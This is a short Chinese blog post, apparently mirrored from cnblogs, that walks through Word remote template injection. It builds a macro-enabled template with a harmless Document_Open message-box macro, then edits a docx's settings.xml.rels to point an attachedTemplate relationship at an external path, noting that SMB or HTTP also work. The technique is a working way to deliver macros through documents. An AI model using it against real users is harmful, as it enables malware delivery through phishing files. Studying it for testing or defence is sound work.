zoukankan      html  css  js  c++  java
  • Word 模板注入

      要实现word模板注入,需要一个被注入的文档,以及一个注入用的模板。

    1.创建一个启用宏的模板

      打开word,alt+f8创建编辑宏,在Project->Microsoft Word对象->ThisDocument中编写宏代码。

    Sub Document_Open()
    
    MsgBox "模板注入测试"
    End Sub
    

      保存为带宏的模板即可。

    2.创建被注入文档

      接下来是用于接受注入的文档,docx实际是个压缩包,修改后缀为zip并解压,进入目录“word/_rels”,创建文件settings.xml.rels,内容为:

    <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
    		<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
    			<Relationship Id="rId1337" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"
    			Target="file://x:your	emplatefilepath"
    			TargetMode="External"/>
    		</Relationships>
    

      Relationship标签中的Target属性值可以是本地路径,也可以是SMB、HTTP等网络协议。

      记录Id属性值xxxx,测试发现该值为多少并不影响最终利用。

      回到上一级目录,即“Word/”下,打开文件settings.xml,插入标签<w:attachedTemplate r:id="xxxx"/>

      最后打包整个文件夹为zip,修改后缀名为word文档格式名,比如doc,docx。

      最后,双击运行,即加载模板。这里测试使用的模板是需要运行宏代码,所以还是需要“启用内容”才能生效。

  • 相关阅读:
    eclipse自动生成uml
    【北航软件工程】Alpha阶段前端页面编写及服务器部署
    【北航软件工程】最长单词链
    软件工程第一次阅读!
    软工第0次个人作业
    第四次oo博客
    小菜鸡儿的第三次OO博客
    关于面向对象第二阶段的总结
    关于面向对象第一阶段的总结
    `ll/sc` 指令在`linux`中的软件实现
  • 原文地址:https://www.cnblogs.com/zUotTe0/p/14461290.html
Copyright © 2011-2022 走看看